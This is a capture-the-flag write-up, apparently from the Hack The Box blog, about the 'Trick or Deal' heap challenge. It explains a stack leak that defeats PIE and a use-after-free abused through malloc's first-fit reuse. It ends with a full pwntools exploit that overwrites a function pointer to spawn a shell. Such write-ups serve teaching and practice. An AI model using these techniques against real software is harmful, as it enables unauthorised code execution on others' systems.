Write-Ups

7 min read

CA CTF 2022: Profit or Loss? - Trick or Deal

Exploiting use-after-free and malloc's first fit behavior, Trick or Deal challenge write-up from Cyber Apocalypse CTF 2022.

saspect avatar

saspect,
Jun 13
2022

Challenge Description 📄

Bonnie and his crew arrive on planet Longhir to get equipped with the latest weaponry, but the intergalactic weapon dealer refuses to sell them weapons because he has a trade agreement with Draeger, the Alien Overlord, thus Bonnie has to employ his neat exploitation tricks to persuade the dealer into selling them weapons.

In this write-up, we will cover another basic heap technique which is use-after-free and malloc's first fit behavior

First look at the challenge 🔍

We start with a checksec to check the protections:

All the mitigations are enabled!

When we execute the binary we get a menu with 5 options.

 

  • Option 1: prints a list of weapons

  • Option 2: We get a prompt [*] What do you want!!? our input is then reflected in [!] No!, I can't give you <input>

  • Option 3: We can supply the length of our offer and then we can send an offer.

  • Option 4: No input but a bit of a story:

Disassemble the binary

undefined8 main(undefined8 param_1,undefined8 param_2)

{
  undefined8 in_R9;
  
  setup();
  fprintf(stdout,"%s %s Welcome to the Intergalactic Weapon Black Market %s\n",&DAT_0010123c,
          &DAT_00101241,&DAT_0010123c,in_R9,param_2);
  fprintf(stdout,"\n%sLoading the latest weaponry . . .\n%s",&DAT_0010128b,&DAT_00101241);
  sleep(3);
  update_weapons();
  fflush(stdout);
  menu();
  return 0;
}

In the main function we see 2 interesting function calls: update_weapons() and menu().

update_weapons() 🔫

void update_weapons(void)

{
  storage = (char *)malloc(0x50);
  strcpy(storage,weapons);
  *(code **)(storage + 0x48) = printStorage;
  return;
}

First, it allocates a 0x60 sized chunk on the heap (including the metadata) and saves the pointer to the chunk to storage which is a global variable stored into the .bss then it writes into the chunk a list of weapons.

Then it assigns to storage + 9 (qwords) => storage + 72 a pointer to printStorage(). We can also validate the offset by inspecting the assembly.

This pointer is probably used to call the printStorage() function when option 1 is selected by the user making it a great target.

Let's validate it, we go into the menu and find the code path for the 1st option.

void printStorage(void)

{
  fprintf(stdout,"\n%sWeapons in stock: \n %s %s",&DAT_0010128b,storage,&DAT_00101241);
  return;
}

Our educated guess was true, the function pointer -> printStorage() is de-referenced and called when 1 is supplied to the menu input.

To Leak or not to Leak

Next, we should audit the buy() function.

void buy(void)

{
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fwrite("\n[*] What do you want!!? ",1,0x19,stdout);
  read(0,local_58,0x47);
  fprintf(stdout,"\n[!] No!, I can\'t give you %s\n",local_58);
  fflush(stdout);
  fwrite("[!] Get out of here!\n",1,0x15,stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

A simple one, it reads 71 bytes into an uninitialized char [72] buffer and then echoes our input safely using fprintf. We don't see any memset() call's to zero out the contents of the buffer before writing into it, so we might be able to leak contents from the stack.

Let's inspect it using a debugger. We break on the fprintf call to see the contents of the stack:

Run stack 8 to dump 8 values from the stack:

We see that the 8th value is a pointer to the _start function, a great leak to defeat PIE!

If we send 56 bytes (7 * 8) we will overwrite all the null bytes so fprintf will print all the contents until it finds a null byte, including _start address.

Making offers for fun and profit. 

Next, let's inspect the make_offer() function.

void make_offer(void)

{
  char local_13 [3];
  size_t local_10;
  
  local_10 = 0;
  memset(local_13,0,3);
  fwrite("\n[*] Are you sure that you want to make an offer(y/n): ",1,0x37,stdout);
  read(0,local_13,2);
  if (local_13[0] == 'y') {
    fwrite("\n[*] How long do you want your offer to be? ",1,0x2d,stdout);
    local_10 = read_num();
    offer = malloc(local_10);
    fwrite("\n[*] What can you offer me? ",1,0x1c,stdout);
    read(0,offer,local_10);
    fwrite("[!] That\'s not enough!\n",1,0x17,stdout);
  }
  else {
    fwrite("[!] Don\'t bother me again.\n",1,0x1b,stdout);
  }
  return;
}

We see that we are asked for size for our offer, our input is parsed using read_num() and then is used as the first argument in malloc(), so we have an arbitrary allocation primitive. Then, it writes into the chunk (size) amount of bytes.

Don't get caught 👮

Last function to audit: steal

void steal(void)

{
  fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n",1,0x3d,stdout);
  sleep(2);
  fprintf(stdout,"%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n",&DAT_0010131e);
  free(storage);
  sleep(2);
  fprintf(stdout,"%s[*] You, who didn\'t skip leg-day, escape!%s\n",&DAT_0010128b,&DAT_00101241);
  return;
}

We see that steal calls free() on the storage which points to the chunk where a function pointer->printStorage is saved. But. storage still points to the freed chunk, as it has not been assigned a NULL value.

The win function

What? Wasn't steal the last function, well actually yes, but no there is also a win function called unlock_storage().

void unlock_storage(void)

{
  fprintf(stdout,"\n%s[*] Bruteforcing Storage Access Code . . .%s\n",&DAT_001014a6,&DAT_0010149e);
  sleep(2);
  fprintf(stdout,"\n%s* Storage Door Opened *%s\n",&DAT_0010128b,&DAT_001014e1);
  system("sh");
  return;
}

Putting it all together

Given that we have a function pointer on a global structure, a win function, and a way to dereference the pointer, calling the function, we can safely assume that the target is to overwrite the function pointer with the address of the win function and then use option 1.

Leak! Leak! Leak!

To Defeat PIE, and thus, calculate the address of unlock_storage() we can use the leak we found previously in buy. We just send 56 bytes and we receive a great leak! then elfbase = leak - elf.sym._start

A bit of malloc internals

Glibc uses the first-fit algorithm to select a free chunk which means that if a chunk is free and large enough, malloc will select this chunk. That behavior can be abused in a use-after-free situation.

For example, there is a chunk that contains a function pointer, let's call it VICTIM. There is also a pointer to VICTIM which is not set to null after VICTIM is freed. If we free the VICTIM the pointer will still point to the freed VICTIM. But what will happen if we request from malloc a chunk of the same size as VICTIM? malloc will "follow" the first-fit algorithm and will return the VICTIM chunk. As a result, we control the data of where the pointer to VICTIM points. Giving us the ability to corrupt the function pointer.

Controlling The function pointer in storage

As we saw previously when we use steal() the chunk which contains the function pointer is freed but storage still points to the freed chunk, that means that if we try to allocate a same-sized chunk using make_offer() (abusing malloc's first fit behavior) we will get a chunk where the chunk we freed previously was stored. As a result, storage will point to our controllable chunk. Then we will write into it 72 bytes padding + the address of our win function (unlock_storage())

Calling the Win function

To call the unlock_storage() we can use the first option which will de-reference and call the function pointer at storage+72 which will point to the win function we wrote earlier into the newly allocated chunk.

Writing the exploit

from pwn import *

elf = context.binary = ELF("../challenge/trick_or_deal")
context.arch = 'amd64'

def start():
    if args.GDB:
        return gdb.debug(elf.path)
    if args.REMOTE:
        return remote("REMOTE", 1337)
    else:
        return process(elf.path)

p = start()

# Leaking _start
p.recvuntil(b"?")
p.sendline(b"2")
p.recvuntil(b"? ")
p.send(b"A" * 54 + b"BB")
p.recvuntil(b"BB")
_start = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info("_start @ [0x%x]" % _start)

elf.address =  _start - elf.sym._start

log.info("base @ [0x%x]" % elf.address)

## Free the storage chunk 
p.recvuntil(b"do?")
p.sendline(b"4")

## Allocate a new chunk to abuse malloc's first fit behavior (size 80)
## then send 72 bytes + the addr of unlock_storage to overwrite  storage->fn 

p.recvuntil(b"do?")
p.sendline(b"3")
p.recvuntil(b"):")
p.sendline(b"y")
p.recvuntil(b"be?")
p.sendline(b"80")
p.send(72*b"\x00" + p64(elf.sym.unlock_storage))

# Select the See weaponry option to dereference the storage->fn and so call unlock_storage

p.recvuntil(b"do?")
p.sendline(b"1")

p.interactive()

PoC 

 

Hack The Blog

The latest news and updates, direct from Hack The Box